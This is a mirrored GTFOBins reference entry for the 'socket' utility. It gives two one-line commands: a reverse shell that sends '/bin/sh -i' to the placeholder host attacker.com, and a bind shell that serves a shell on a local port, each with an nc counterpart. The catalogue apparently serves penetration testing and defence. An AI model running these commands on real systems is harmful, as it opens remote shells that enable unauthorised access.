1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/socket.md

15 lines
404 B
Markdown
Raw Permalink Normal View History

---
2022-12-23 20:06:15 +01:00
functions:
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
socket -qvp '/bin/sh -i' $RHOST $RPORT
bind-shell:
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
code: |
LPORT=12345
socket -svp '/bin/sh -i' $LPORT
---